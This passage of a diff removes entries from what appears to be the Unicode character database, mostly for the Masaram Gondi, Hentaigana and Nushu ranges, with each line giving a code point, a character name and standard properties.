I;Mn;0;NSM;;;;;N;;;;; -11D33;MASARAM GONDI VOWEL SIGN II;Mn;0;NSM;;;;;N;;;;; -11D34;MASARAM GONDI VOWEL SIGN U;Mn;0;NSM;;;;;N;;;;; -11D35;MASARAM GONDI VOWEL SIGN UU;Mn;0;NSM;;;;;N;;;;; -11D36;MASARAM GONDI VOWEL SIGN VOCALIC R;Mn;0;NSM;;;;;N;;;;; -11D3A;MASARAM GONDI VOWEL SIGN E;Mn;0;NSM;;;;;N;;;;; -11D3C;MASARAM GONDI VOWEL SIGN AI;Mn;0;NSM;;;;;N;;;;; -11D3D;MASARAM GONDI VOWEL SIGN O;Mn;0;NSM;;;;;N;;;;; -11D3F;MASARAM GONDI VOWEL SIGN AU;Mn;0;NSM;;;;;N;;;;; -11D40;MASARAM GONDI SIGN ANUSVARA;Mn;0;NSM;;;;;N;;;;; -11D41;MASARAM GONDI SIGN VISARGA;Mn;0;NSM;;;;;N;;;;; -11D42;MASARAM GONDI SIGN NUKTA;Mn;7;NSM;;;;;N;;;;; -11D43;MASARAM GONDI SIGN CANDRA;Mn;0;NSM;;;;;N;;;;; -11D44;MASARAM GONDI SIGN HALANTA;Mn;9;NSM;;;;;N;;;;; -11D45;MASARAM GONDI VIRAMA;Mn;9;NSM;;;;;N;;;;; -11D46;MASARAM GONDI REPHA;Lo;0;L;;;;;N;;;;; -11D47;MASARAM GONDI RA-KARA;Mn;0;NSM;;;;;N;;;;; -11D50;MASARAM GONDI DIGIT ZERO;Nd;0;L;;0;0;0;N;;;;; -11D51;MASARAM GONDI DIGIT ONE;Nd;0;L;;1;1;1;N;;;;; -11D52;MASARAM GONDI DIGIT TWO;Nd;0;L;;2;2;2;N;;;;; -11D53;MASARAM GONDI DIGIT THREE;Nd;0;L;;3;3;3;N;;;;; -11D54;MASARAM GONDI DIGIT FOUR;Nd;0;L;;4;4;4;N;;;;; -11D55;MASARAM GONDI DIGIT FIVE;Nd;0;L;;5;5;5;N;;;;; -11D56;MASARAM GONDI DIGIT SIX;Nd;0;L;;6;6;6;N;;;;; -11D57;MASARAM GONDI DIGIT SEVEN;Nd;0;L;;7;7;7;N;;;;; -11D58;MASARAM GONDI DIGIT EIGHT;Nd;0;L;;8;8;8;N;;;;; -11D59;MASARAM GONDI DIGIT NINE;Nd;0;L;;9;9;9;N;;;;; 12000;CUNEIFORM SIGN A;Lo;0;L;;;;;N;;;;; 12001;CUNEIFORM SIGN A TIMES A;Lo;0;L;;;;;N;;;;; 12002;CUNEIFORM SIGN A TIMES BAD;Lo;0;L;;;;;N;;;;; @@ -24353,7 +24087,6 @@ FFFD;REPLACEMENT CHARACTER;So;0;ON;;;;;N;;;;; 16F9E;MIAO LETTER REFORMED TONE-6;Lm;0;L;;;;;N;;;;; 16F9F;MIAO LETTER REFORMED TONE-8;Lm;0;L;;;;;N;;;;; 16FE0;TANGUT ITERATION MARK;Lm;0;L;;;;;N;;;;; -16FE1;NUSHU ITERATION MARK;Lm;0;L;;;;;N;;;;; 17000;;Lo;0;L;;;;;N;;;;; 187EC;;Lo;0;L;;;;;N;;;;; 18800;TANGUT COMPONENT-001;Lo;0;L;;;;;N;;;;; @@ -25113,687 +24846,6 @@ FFFD;REPLACEMENT CHARACTER;So;0;ON;;;;;N;;;;; 18AF2;TANGUT COMPONENT-755;Lo;0;L;;;;;N;;;;; 1B000;KATAKANA LETTER ARCHAIC E;Lo;0;L;;;;;N;;;;; 1B001;HIRAGANA LETTER ARCHAIC YE;Lo;0;L;;;;;N;;;;; -1B002;HENTAIGANA LETTER A-1;Lo;0;L;;;;;N;;;;; -1B003;HENTAIGANA LETTER A-2;Lo;0;L;;;;;N;;;;; -1B004;HENTAIGANA LETTER A-3;Lo;0;L;;;;;N;;;;; -1B005;HENTAIGANA LETTER A-WO;Lo;0;L;;;;;N;;;;; -1B006;HENTAIGANA LETTER I-1;Lo;0;L;;;;;N;;;;; -1B007;HENTAIGANA LETTER I-2;Lo;0;L;;;;;N;;;;; -1B008;HENTAIGANA LETTER I-3;Lo;0;L;;;;;N;;;;; -1B009;HENTAIGANA LETTER I-4;Lo;0;L;;;;;N;;;;; -1B00A;HENTAIGANA LETTER U-1;Lo;0;L;;;;;N;;;;; -1B00B;HENTAIGANA LETTER U-2;Lo;0;L;;;;;N;;;;; -1B00C;HENTAIGANA LETTER U-3;Lo;0;L;;;;;N;;;;; -1B00D;HENTAIGANA LETTER U-4;Lo;0;L;;;;;N;;;;; -1B00E;HENTAIGANA LETTER U-5;Lo;0;L;;;;;N;;;;; -1B00F;HENTAIGANA LETTER E-2;Lo;0;L;;;;;N;;;;; -1B010;HENTAIGANA LETTER E-3;Lo;0;L;;;;;N;;;;; -1B011;HENTAIGANA LETTER E-4;Lo;0;L;;;;;N;;;;; -1B012;HENTAIGANA LETTER E-5;Lo;0;L;;;;;N;;;;; -1B013;HENTAIGANA LETTER E-6;Lo;0;L;;;;;N;;;;; -1B014;HENTAIGANA LETTER O-1;Lo;0;L;;;;;N;;;;; -1B015;HENTAIGANA LETTER O-2;Lo;0;L;;;;;N;;;;; -1B016;HENTAIGANA LETTER O-3;Lo;0;L;;;;;N;;;;; -1B017;HENTAIGANA LETTER KA-1;Lo;0;L;;;;;N;;;;; -1B018;HENTAIGANA LETTER KA-2;Lo;0;L;;;;;N;;;;; -1B019;HENTAIGANA LETTER KA-3;Lo;0;L;;;;;N;;;;; -1B01A;HENTAIGANA LETTER KA-4;Lo;0;L;;;;;N;;;;; -1B01B;HENTAIGANA LETTER KA-5;Lo;0;L;;;;;N;;;;; -1B01C;HENTAIGANA LETTER KA-6;Lo;0;L;;;;;N;;;;; -1B01D;HENTAIGANA LETTER KA-7;Lo;0;L;;;;;N;;;;; -1B01E;HENTAIGANA LETTER KA-8;Lo;0;L;;;;;N;;;;; -1B01F;HENTAIGANA LETTER KA-9;Lo;0;L;;;;;N;;;;; -1B020;HENTAIGANA LETTER KA-10;Lo;0;L;;;;;N;;;;; -1B021;HENTAIGANA LETTER KA-11;Lo;0;L;;;;;N;;;;; -1B022;HENTAIGANA LETTER KA-KE;Lo;0;L;;;;;N;;;;; -1B023;HENTAIGANA LETTER KI-1;Lo;0;L;;;;;N;;;;; -1B024;HENTAIGANA LETTER KI-2;Lo;0;L;;;;;N;;;;; -1B025;HENTAIGANA LETTER KI-3;Lo;0;L;;;;;N;;;;; -1B026;HENTAIGANA LETTER KI-4;Lo;0;L;;;;;N;;;;; -1B027;HENTAIGANA LETTER KI-5;Lo;0;L;;;;;N;;;;; -1B028;HENTAIGANA LETTER KI-6;Lo;0;L;;;;;N;;;;; -1B029;HENTAIGANA LETTER KI-7;Lo;0;L;;;;;N;;;;; -1B02A;HENTAIGANA LETTER KI-8;Lo;0;L;;;;;N;;;;; -1B02B;HENTAIGANA LETTER KU-1;Lo;0;L;;;;;N;;;;; -1B02C;HENTAIGANA LETTER KU-2;Lo;0;L;;;;;N;;;;; -1B02D;HENTAIGANA LETTER KU-3;Lo;0;L;;;;;N;;;;; -1B02E;HENTAIGANA LETTER KU-4;Lo;0;L;;;;;N;;;;; -1B02F;HENTAIGANA LETTER KU-5;Lo;0;L;;;;;N;;;;; -1B030;HENTAIGANA LETTER KU-6;Lo;0;L;;;;;N;;;;; -1B031;HENTAIGANA LETTER KU-7;Lo;0;L;;;;;N;;;;; -1B032;HENTAIGANA LETTER KE-1;Lo;0;L;;;;;N;;;;; -1B033;HENTAIGANA LETTER KE-2;Lo;0;L;;;;;N;;;;; -1B034;HENTAIGANA LETTER KE-3;Lo;0;L;;;;;N;;;;; -1B035;HENTAIGANA LETTER KE-4;Lo;0;L;;;;;N;;;;; -1B036;HENTAIGANA LETTER KE-5;Lo;0;L;;;;;N;;;;; -1B037;HENTAIGANA LETTER KE-6;Lo;0;L;;;;;N;;;;; -1B038;HENTAIGANA LETTER KO-1;Lo;0;L;;;;;N;;;;; -1B039;HENTAIGANA LETTER KO-2;Lo;0;L;;;;;N;;;;; -1B03A;HENTAIGANA LETTER KO-3;Lo;0;L;;;;;N;;;;; -1B03B;HENTAIGANA LETTER KO-KI;Lo;0;L;;;;;N;;;;; -1B03C;HENTAIGANA LETTER SA-1;Lo;0;L;;;;;N;;;;; -1B03D;HENTAIGANA LETTER SA-2;Lo;0;L;;;;;N;;;;; -1B03E;HENTAIGANA LETTER SA-3;Lo;0;L;;;;;N;;;;; -1B03F;HENTAIGANA LETTER SA-4;Lo;0;L;;;;;N;;;;; -1B040;HENTAIGANA LETTER SA-5;Lo;0;L;;;;;N;;;;; -1B041;HENTAIGANA LETTER SA-6;Lo;0;L;;;;;N;;;;; -1B042;HENTAIGANA LETTER SA-7;Lo;0;L;;;;;N;;;;; -1B043;HENTAIGANA LETTER SA-8;Lo;0;L;;;;;N;;;;; -1B044;HENTAIGANA LETTER SI-1;Lo;0;L;;;;;N;;;;; -1B045;HENTAIGANA LETTER SI-2;Lo;0;L;;;;;N;;;;; -1B046;HENTAIGANA LETTER SI-3;Lo;0;L;;;;;N;;;;; -1B047;HENTAIGANA LETTER SI-4;Lo;0;L;;;;;N;;;;; -1B048;HENTAIGANA LETTER SI-5;Lo;0;L;;;;;N;;;;; -1B049;HENTAIGANA LETTER SI-6;Lo;0;L;;;;;N;;;;; -1B04A;HENTAIGANA LETTER SU-1;Lo;0;L;;;;;N;;;;; -1B04B;HENTAIGANA LETTER SU-2;Lo;0;L;;;;;N;;;;; -1B04C;HENTAIGANA LETTER SU-3;Lo;0;L;;;;;N;;;;; -1B04D;HENTAIGANA LETTER SU-4;Lo;0;L;;;;;N;;;;; -1B04E;HENTAIGANA LETTER SU-5;Lo;0;L;;;;;N;;;;; -1B04F;HENTAIGANA LETTER SU-6;Lo;0;L;;;;;N;;;;; -1B050;HENTAIGANA LETTER SU-7;Lo;0;L;;;;;N;;;;; -1B051;HENTAIGANA LETTER SU-8;Lo;0;L;;;;;N;;;;; -1B052;HENTAIGANA LETTER SE-1;Lo;0;L;;;;;N;;;;; -1B053;HENTAIGANA LETTER SE-2;Lo;0;L;;;;;N;;;;; -1B054;HENTAIGANA LETTER SE-3;Lo;0;L;;;;;N;;;;; -1B055;HENTAIGANA LETTER SE-4;Lo;0;L;;;;;N;;;;; -1B056;HENTAIGANA LETTER SE-5;Lo;0;L;;;;;N;;;;; -1B057;HENTAIGANA LETTER SO-1;Lo;0;L;;;;;N;;;;; -1B058;HENTAIGANA LETTER SO-2;Lo;0;L;;;;;N;;;;; -1B059;HENTAIGANA LETTER SO-3;Lo;0;L;;;;;N;;;;; -1B05A;HENTAIGANA LETTER SO-4;Lo;0;L;;;;;N;;;;; -1B05B;HENTAIGANA LETTER SO-5;Lo;0;L;;;;;N;;;;; -1B05C;HENTAIGANA LETTER SO-6;Lo;0;L;;;;;N;;;;; -1B05D;HENTAIGANA LETTER SO-7;Lo;0;L;;;;;N;;;;; -1B05E;HENTAIGANA LETTER TA-1;Lo;0;L;;;;;N;;;;; -1B05F;HENTAIGANA LETTER TA-2;Lo;0;L;;;;;N;;;;; -1B060;HENTAIGANA LETTER TA-3;Lo;0;L;;;;;N;;;;; -1B061;HENTAIGANA LETTER TA-4;Lo;0;L;;;;;N;;;;; -1B062;HENTAIGANA LETTER TI-1;Lo;0;L;;;;;N;;;;; -1B063;HENTAIGANA LETTER TI-2;Lo;0;L;;;;;N;;;;; -1B064;HENTAIGANA LETTER TI-3;Lo;0;L;;;;;N;;;;; -1B065;HENTAIGANA LETTER TI-4;Lo;0;L;;;;;N;;;;; -1B066;HENTAIGANA LETTER TI-5;Lo;0;L;;;;;N;;;;; -1B067;HENTAIGANA LETTER TI-6;Lo;0;L;;;;;N;;;;; -1B068;HENTAIGANA LETTER TI-7;Lo;0;L;;;;;N;;;;; -1B069;HENTAIGANA LETTER TU-1;Lo;0;L;;;;;N;;;;; -1B06A;HENTAIGANA LETTER TU-2;Lo;0;L;;;;;N;;;;; -1B06B;HENTAIGANA LETTER TU-3;Lo;0;L;;;;;N;;;;; -1B06C;HENTAIGANA LETTER TU-4;Lo;0;L;;;;;N;;;;; -1B06D;HENTAIGANA LETTER TU-TO;Lo;0;L;;;;;N;;;;; -1B06E;HENTAIGANA LETTER TE-1;Lo;0;L;;;;;N;;;;; -1B06F;HENTAIGANA LETTER TE-2;Lo;0;L;;;;;N;;;;; -1B070;HENTAIGANA LETTER TE-3;Lo;0;L;;;;;N;;;;; -1B071;HENTAIGANA LETTER TE-4;Lo;0;L;;;;;N;;;;; -1B072;HENTAIGANA LETTER TE-5;Lo;0;L;;;;;N;;;;; -1B073;HENTAIGANA LETTER TE-6;Lo;0;L;;;;;N;;;;; -1B074;HENTAIGANA LETTER TE-7;Lo;0;L;;;;;N;;;;; -1B075;HENTAIGANA LETTER TE-8;Lo;0;L;;;;;N;;;;; -1B076;HENTAIGANA LETTER TE-9;Lo;0;L;;;;;N;;;;; -1B077;HENTAIGANA LETTER TO-1;Lo;0;L;;;;;N;;;;; -1B078;HENTAIGANA LETTER TO-2;Lo;0;L;;;;;N;;;;; -1B079;HENTAIGANA LETTER TO-3;Lo;0;L;;;;;N;;;;; -1B07A;HENTAIGANA LETTER TO-4;Lo;0;L;;;;;N;;;;; -1B07B;HENTAIGANA LETTER TO-5;Lo;0;L;;;;;N;;;;; -1B07C;HENTAIGANA LETTER TO-6;Lo;0;L;;;;;N;;;;; -1B07D;HENTAIGANA LETTER TO-RA;Lo;0;L;;;;;N;;;;; -1B07E;HENTAIGANA LETTER NA-1;Lo;0;L;;;;;N;;;;; -1B07F;HENTAIGANA LETTER NA-2;Lo;0;L;;;;;N;;;;; -1B080;HENTAIGANA LETTER NA-3;Lo;0;L;;;;;N;;;;; -1B081;HENTAIGANA LETTER NA-4;Lo;0;L;;;;;N;;;;; -1B082;HENTAIGANA LETTER NA-5;Lo;0;L;;;;;N;;;;; -1B083;HENTAIGANA LETTER NA-6;Lo;0;L;;;;;N;;;;; -1B084;HENTAIGANA LETTER NA-7;Lo;0;L;;;;;N;;;;; -1B085;HENTAIGANA LETTER NA-8;Lo;0;L;;;;;N;;;;; -1B086;HENTAIGANA LETTER NA-9;Lo;0;L;;;;;N;;;;; -1B087;HENTAIGANA LETTER NI-1;Lo;0;L;;;;;N;;;;; -1B088;HENTAIGANA LETTER NI-2;Lo;0;L;;;;;N;;;;; -1B089;HENTAIGANA LETTER NI-3;Lo;0;L;;;;;N;;;;; -1B08A;HENTAIGANA LETTER NI-4;Lo;0;L;;;;;N;;;;; -1B08B;HENTAIGANA LETTER NI-5;Lo;0;L;;;;;N;;;;; -1B08C;HENTAIGANA LETTER NI-6;Lo;0;L;;;;;N;;;;; -1B08D;HENTAIGANA LETTER NI-7;Lo;0;L;;;;;N;;;;; -1B08E;HENTAIGANA LETTER NI-TE;Lo;0;L;;;;;N;;;;; -1B08F;HENTAIGANA LETTER NU-1;Lo;0;L;;;;;N;;;;; -1B090;HENTAIGANA LETTER NU-2;Lo;0;L;;;;;N;;;;; -1B091;HENTAIGANA LETTER NU-3;Lo;0;L;;;;;N;;;;; -1B092;HENTAIGANA LETTER NE-1;Lo;0;L;;;;;N;;;;; -1B093;HENTAIGANA LETTER NE-2;Lo;0;L;;;;;N;;;;; -1B094;HENTAIGANA LETTER NE-3;Lo;0;L;;;;;N;;;;; -1B095;HENTAIGANA LETTER NE-4;Lo;0;L;;;;;N;;;;; -1B096;HENTAIGANA LETTER NE-5;Lo;0;L;;;;;N;;;;; -1B097;HENTAIGANA LETTER NE-6;Lo;0;L;;;;;N;;;;; -1B098;HENTAIGANA LETTER NE-KO;Lo;0;L;;;;;N;;;;; -1B099;HENTAIGANA LETTER NO-1;Lo;0;L;;;;;N;;;;; -1B09A;HENTAIGANA LETTER NO-2;Lo;0;L;;;;;N;;;;; -1B09B;HENTAIGANA LETTER NO-3;Lo;0;L;;;;;N;;;;; -1B09C;HENTAIGANA LETTER NO-4;Lo;0;L;;;;;N;;;;; -1B09D;HENTAIGANA LETTER NO-5;Lo;0;L;;;;;N;;;;; -1B09E;HENTAIGANA LETTER HA-1;Lo;0;L;;;;;N;;;;; -1B09F;HENTAIGANA LETTER HA-2;Lo;0;L;;;;;N;;;;; -1B0A0;HENTAIGANA LETTER HA-3;Lo;0;L;;;;;N;;;;; -1B0A1;HENTAIGANA LETTER HA-4;Lo;0;L;;;;;N;;;;; -1B0A2;HENTAIGANA LETTER HA-5;Lo;0;L;;;;;N;;;;; -1B0A3;HENTAIGANA LETTER HA-6;Lo;0;L;;;;;N;;;;; -1B0A4;HENTAIGANA LETTER HA-7;Lo;0;L;;;;;N;;;;; -1B0A5;HENTAIGANA LETTER HA-8;Lo;0;L;;;;;N;;;;; -1B0A6;HENTAIGANA LETTER HA-9;Lo;0;L;;;;;N;;;;; -1B0A7;HENTAIGANA LETTER HA-10;Lo;0;L;;;;;N;;;;; -1B0A8;HENTAIGANA LETTER HA-11;Lo;0;L;;;;;N;;;;; -1B0A9;HENTAIGANA LETTER HI-1;Lo;0;L;;;;;N;;;;; -1B0AA;HENTAIGANA LETTER HI-2;Lo;0;L;;;;;N;;;;; -1B0AB;HENTAIGANA LETTER HI-3;Lo;0;L;;;;;N;;;;; -1B0AC;HENTAIGANA LETTER HI-4;Lo;0;L;;;;;N;;;;; -1B0AD;HENTAIGANA LETTER HI-5;Lo;0;L;;;;;N;;;;; -1B0AE;HENTAIGANA LETTER HI-6;Lo;0;L;;;;;N;;;;; -1B0AF;HENTAIGANA LETTER HI-7;Lo;0;L;;;;;N;;;;; -1B0B0;HENTAIGANA LETTER HU-1;Lo;0;L;;;;;N;;;;; -1B0B1;HENTAIGANA LETTER HU-2;Lo;0;L;;;;;N;;;;; -1B0B2;HENTAIGANA LETTER HU-3;Lo;0;L;;;;;N;;;;; -1B0B3;HENTAIGANA LETTER HE-1;Lo;0;L;;;;;N;;;;; -1B0B4;HENTAIGANA LETTER HE-2;Lo;0;L;;;;;N;;;;; -1B0B5;HENTAIGANA LETTER HE-3;Lo;0;L;;;;;N;;;;; -1B0B6;HENTAIGANA LETTER HE-4;Lo;0;L;;;;;N;;;;; -1B0B7;HENTAIGANA LETTER HE-5;Lo;0;L;;;;;N;;;;; -1B0B8;HENTAIGANA LETTER HE-6;Lo;0;L;;;;;N;;;;; -1B0B9;HENTAIGANA LETTER HE-7;Lo;0;L;;;;;N;;;;; -1B0BA;HENTAIGANA LETTER HO-1;Lo;0;L;;;;;N;;;;; -1B0BB;HENTAIGANA LETTER HO-2;Lo;0;L;;;;;N;;;;; -1B0BC;HENTAIGANA LETTER HO-3;Lo;0;L;;;;;N;;;;; -1B0BD;HENTAIGANA LETTER HO-4;Lo;0;L;;;;;N;;;;; -1B0BE;HENTAIGANA LETTER HO-5;Lo;0;L;;;;;N;;;;; -1B0BF;HENTAIGANA LETTER HO-6;Lo;0;L;;;;;N;;;;; -1B0C0;HENTAIGANA LETTER HO-7;Lo;0;L;;;;;N;;;;; -1B0C1;HENTAIGANA LETTER HO-8;Lo;0;L;;;;;N;;;;; -1B0C2;HENTAIGANA LETTER MA-1;Lo;0;L;;;;;N;;;;; -1B0C3;HENTAIGANA LETTER MA-2;Lo;0;L;;;;;N;;;;; -1B0C4;HENTAIGANA LETTER MA-3;Lo;0;L;;;;;N;;;;; -1B0C5;HENTAIGANA LETTER MA-4;Lo;0;L;;;;;N;;;;; -1B0C6;HENTAIGANA LETTER MA-5;Lo;0;L;;;;;N;;;;; -1B0C7;HENTAIGANA LETTER MA-6;Lo;0;L;;;;;N;;;;; -1B0C8;HENTAIGANA LETTER MA-7;Lo;0;L;;;;;N;;;;; -1B0C9;HENTAIGANA LETTER MI-1;Lo;0;L;;;;;N;;;;; -1B0CA;HENTAIGANA LETTER MI-2;Lo;0;L;;;;;N;;;;; -1B0CB;HENTAIGANA LETTER MI-3;Lo;0;L;;;;;N;;;;; -1B0CC;HENTAIGANA LETTER MI-4;Lo;0;L;;;;;N;;;;; -1B0CD;HENTAIGANA LETTER MI-5;Lo;0;L;;;;;N;;;;; -1B0CE;HENTAIGANA LETTER MI-6;Lo;0;L;;;;;N;;;;; -1B0CF;HENTAIGANA LETTER MI-7;Lo;0;L;;;;;N;;;;; -1B0D0;HENTAIGANA LETTER MU-1;Lo;0;L;;;;;N;;;;; -1B0D1;HENTAIGANA LETTER MU-2;Lo;0;L;;;;;N;;;;; -1B0D2;HENTAIGANA LETTER MU-3;Lo;0;L;;;;;N;;;;; -1B0D3;HENTAIGANA LETTER MU-4;Lo;0;L;;;;;N;;;;; -1B0D4;HENTAIGANA LETTER ME-1;Lo;0;L;;;;;N;;;;; -1B0D5;HENTAIGANA LETTER ME-2;Lo;0;L;;;;;N;;;;; -1B0D6;HENTAIGANA LETTER ME-MA;Lo;0;L;;;;;N;;;;; -1B0D7;HENTAIGANA LETTER MO-1;Lo;0;L;;;;;N;;;;; -1B0D8;HENTAIGANA LETTER MO-2;Lo;0;L;;;;;N;;;;; -1B0D9;HENTAIGANA LETTER MO-3;Lo;0;L;;;;;N;;;;; -1B0DA;HENTAIGANA LETTER MO-4;Lo;0;L;;;;;N;;;;; -1B0DB;HENTAIGANA LETTER MO-5;Lo;0;L;;;;;N;;;;; -1B0DC;HENTAIGANA LETTER MO-6;Lo;0;L;;;;;N;;;;; -1B0DD;HENTAIGANA LETTER YA-1;Lo;0;L;;;;;N;;;;; -1B0DE;HENTAIGANA LETTER YA-2;Lo;0;L;;;;;N;;;;; -1B0DF;HENTAIGANA LETTER YA-3;Lo;0;L;;;;;N;;;;; -1B0E0;HENTAIGANA LETTER YA-4;Lo;0;L;;;;;N;;;;; -1B0E1;HENTAIGANA LETTER YA-5;Lo;0;L;;;;;N;;;;; -1B0E2;HENTAIGANA LETTER YA-YO;Lo;0;L;;;;;N;;;;; -1B0E3;HENTAIGANA LETTER YU-1;Lo;0;L;;;;;N;;;;; -1B0E4;HENTAIGANA LETTER YU-2;Lo;0;L;;;;;N;;;;; -1B0E5;HENTAIGANA LETTER YU-3;Lo;0;L;;;;;N;;;;; -1B0E6;HENTAIGANA LETTER YU-4;Lo;0;L;;;;;N;;;;; -1B0E7;HENTAIGANA LETTER YO-1;Lo;0;L;;;;;N;;;;; -1B0E8;HENTAIGANA LETTER YO-2;Lo;0;L;;;;;N;;;;; -1B0E9;HENTAIGANA LETTER YO-3;Lo;0;L;;;;;N;;;;; -1B0EA;HENTAIGANA LETTER YO-4;Lo;0;L;;;;;N;;;;; -1B0EB;HENTAIGANA LETTER YO-5;Lo;0;L;;;;;N;;;;; -1B0EC;HENTAIGANA LETTER YO-6;Lo;0;L;;;;;N;;;;; -1B0ED;HENTAIGANA LETTER RA-1;Lo;0;L;;;;;N;;;;; -1B0EE;HENTAIGANA LETTER RA-2;Lo;0;L;;;;;N;;;;; -1B0EF;HENTAIGANA LETTER RA-3;Lo;0;L;;;;;N;;;;; -1B0F0;HENTAIGANA LETTER RA-4;Lo;0;L;;;;;N;;;;; -1B0F1;HENTAIGANA LETTER RI-1;Lo;0;L;;;;;N;;;;; -1B0F2;HENTAIGANA LETTER RI-2;Lo;0;L;;;;;N;;;;; -1B0F3;HENTAIGANA LETTER RI-3;Lo;0;L;;;;;N;;;;; -1B0F4;HENTAIGANA LETTER RI-4;Lo;0;L;;;;;N;;;;; -1B0F5;HENTAIGANA LETTER RI-5;Lo;0;L;;;;;N;;;;; -1B0F6;HENTAIGANA LETTER RI-6;Lo;0;L;;;;;N;;;;; -1B0F7;HENTAIGANA LETTER RI-7;Lo;0;L;;;;;N;;;;; -1B0F8;HENTAIGANA LETTER RU-1;Lo;0;L;;;;;N;;;;; -1B0F9;HENTAIGANA LETTER RU-2;Lo;0;L;;;;;N;;;;; -1B0FA;HENTAIGANA LETTER RU-3;Lo;0;L;;;;;N;;;;; -1B0FB;HENTAIGANA LETTER RU-4;Lo;0;L;;;;;N;;;;; -1B0FC;HENTAIGANA LETTER RU-5;Lo;0;L;;;;;N;;;;; -1B0FD;HENTAIGANA LETTER RU-6;Lo;0;L;;;;;N;;;;; -1B0FE;HENTAIGANA LETTER RE-1;Lo;0;L;;;;;N;;;;; -1B0FF;HENTAIGANA LETTER RE-2;Lo;0;L;;;;;N;;;;; -1B100;HENTAIGANA LETTER RE-3;Lo;0;L;;;;;N;;;;; -1B101;HENTAIGANA LETTER RE-4;Lo;0;L;;;;;N;;;;; -1B102;HENTAIGANA LETTER RO-1;Lo;0;L;;;;;N;;;;; -1B103;HENTAIGANA LETTER RO-2;Lo;0;L;;;;;N;;;;; -1B104;HENTAIGANA LETTER RO-3;Lo;0;L;;;;;N;;;;; -1B105;HENTAIGANA LETTER RO-4;Lo;0;L;;;;;N;;;;; -1B106;HENTAIGANA LETTER RO-5;Lo;0;L;;;;;N;;;;; -1B107;HENTAIGANA LETTER RO-6;Lo;0;L;;;;;N;;;;; -1B108;HENTAIGANA LETTER WA-1;Lo;0;L;;;;;N;;;;; -1B109;HENTAIGANA LETTER WA-2;Lo;0;L;;;;;N;;;;; -1B10A;HENTAIGANA LETTER WA-3;Lo;0;L;;;;;N;;;;; -1B10B;HENTAIGANA LETTER WA-4;Lo;0;L;;;;;N;;;;; -1B10C;HENTAIGANA LETTER WA-5;Lo;0;L;;;;;N;;;;; -1B10D;HENTAIGANA LETTER WI-1;Lo;0;L;;;;;N;;;;; -1B10E;HENTAIGANA LETTER WI-2;Lo;0;L;;;;;N;;;;; -1B10F;HENTAIGANA LETTER WI-3;Lo;0;L;;;;;N;;;;; -1B110;HENTAIGANA LETTER WI-4;Lo;0;L;;;;;N;;;;; -1B111;HENTAIGANA LETTER WI-5;Lo;0;L;;;;;N;;;;; -1B112;HENTAIGANA LETTER WE-1;Lo;0;L;;;;;N;;;;; -1B113;HENTAIGANA LETTER WE-2;Lo;0;L;;;;;N;;;;; -1B114;HENTAIGANA LETTER WE-3;Lo;0;L;;;;;N;;;;; -1B115;HENTAIGANA LETTER WE-4;Lo;0;L;;;;;N;;;;; -1B116;HENTAIGANA LETTER WO-1;Lo;0;L;;;;;N;;;;; -1B117;HENTAIGANA LETTER WO-2;Lo;0;L;;;;;N;;;;; -1B118;HENTAIGANA LETTER WO-3;Lo;0;L;;;;;N;;;;; -1B119;HENTAIGANA LETTER WO-4;Lo;0;L;;;;;N;;;;; -1B11A;HENTAIGANA LETTER WO-5;Lo;0;L;;;;;N;;;;; -1B11B;HENTAIGANA LETTER WO-6;Lo;0;L;;;;;N;;;;; -1B11C;HENTAIGANA LETTER WO-7;Lo;0;L;;;;;N;;;;; -1B11D;HENTAIGANA LETTER N-MU-MO-1;Lo;0;L;;;;;N;;;;; -1B11E;HENTAIGANA LETTER N-MU-MO-2;Lo;0;L;;;;;N;;;;; -1B170;NUSHU CHARACTER-1B170;Lo;0;L;;;;;N;;;;; -1B171;NUSHU CHARACTER-1B171;Lo;0;L;;;;;N;;;;; -1B172;NUSHU CHARACTER-1B172;Lo;0;L;;;;;N;;;;; -1B173;NUSHU CHARACTER-1B173;Lo;0;L;;;;;N;;;;; -1B174;NUSHU CHARACTER-1B174;Lo;0;L;;;;;N;;;;; -1B175;NUSHU CHARACTER-1B175;Lo;0;L;;;;;N;;;;; -1B176;NUSHU CHARACTER-1B176;Lo;0;L;;;;;N;;;;; -1B177;NUSHU CHARACTER-1B177;Lo;0;L;;;;;N;;;;; -1B178;NUSHU CHARACTER-1B178;Lo;0;L;;;;;N;;;;; -1B179;NUSHU CHARACTER-1B179;Lo;0;L;;;;;N;;;;; -1B17A;NUSHU CHARACTER-1B17A;Lo;0;L;;;;;N;;;;; -1B17B;NUSHU CHARACTER-1B17B;Lo;0;L;;;;;N;;;;; -1B17C;NUSHU CHARACTER-1B17C;Lo;0;L;;;;;N;;;;; -1B17D;NUSHU CHARACTER-1B17D;Lo;0;L;;;;;N;;;;; -1B17E;NUSHU CHARACTER-1B17E;Lo;0;L;;;;;N;;;;; -1B17F;NUSHU CHARACTER-1B17F;Lo;0;L;;;;;N;;;;; -1B180;NUSHU CHARACTER-1B180;Lo;0;L;;;;;N;;;;; -1B181;NUSHU CHARACTER-1B181;Lo;0;L;;;;;N;;;;; -1B182;NUSHU CHARACTER-1B182;Lo;0;L;;;;;N;;;;; -1B183;NUSHU CHARACTER-1B183;Lo;0;L;;;;;N;;;;; -1B184;NUSHU CHARACTER-1B184;Lo;0;L;;;;;N;;;;; -1B185;NUSHU CHARACTER-1B185;Lo;0;L;;;;;N;;;;; -1B186;NUSHU CHARACTER-1B186;Lo;0;L;;;;;N;;;;; -1B187;NUSHU CHARACTER-1B187;Lo;0;L;;;;;N;;;;; -1B188;NUSHU CHARACTER-1B188;Lo;0;L;;;;;N;;;;; -1B189;NUSHU CHARACTER-1B189;Lo;0;L;;;;;N;;;;; -1B18A;NUSHU CHARACTER-1B18A;Lo;0;L;;;;;N;;;;; -1B18B;NUSHU CHARACTER-1B18B;Lo;0;L;;;;;N;;;;; -1B18C;NUSHU CHARACTER-1B18C;Lo;0;L;;;;;N;;;;; -1B18D;NUSHU CHARACTER-1B18D;Lo;0;L;;;;;N;;;;; -1B18E;NUSHU CHARACTER-1B18E;Lo;0;L;;;;;N;;;;; -1B18F;NUSHU CHARACTER-1B18F;Lo;0;L;;;;;N;;;;; -1B190;NUSHU CHARACTER-1B190;Lo;0;L;;;;;N;;;;; -1B191;NUSHU CHARACTER-1B191;Lo;0;L;;;;;N;;;;; -1B192;NUSHU CHARACTER-1B192;Lo;0;L;;;;;N;;;;; -1B193;NUSHU CHARACTER-1B193;Lo;0;L;;;;;N;;;;; -1B194;NUSHU CHARACTER-1B194;Lo;0;L;;;;;N;;;;; -1B195;NUSHU CHARACTER-1B195;Lo;0;L;;;;;N;;;;; -1B196;NUSHU CHARACTER-1B196;Lo;0;L;;;;;N;;;;; -1B197;NUSHU 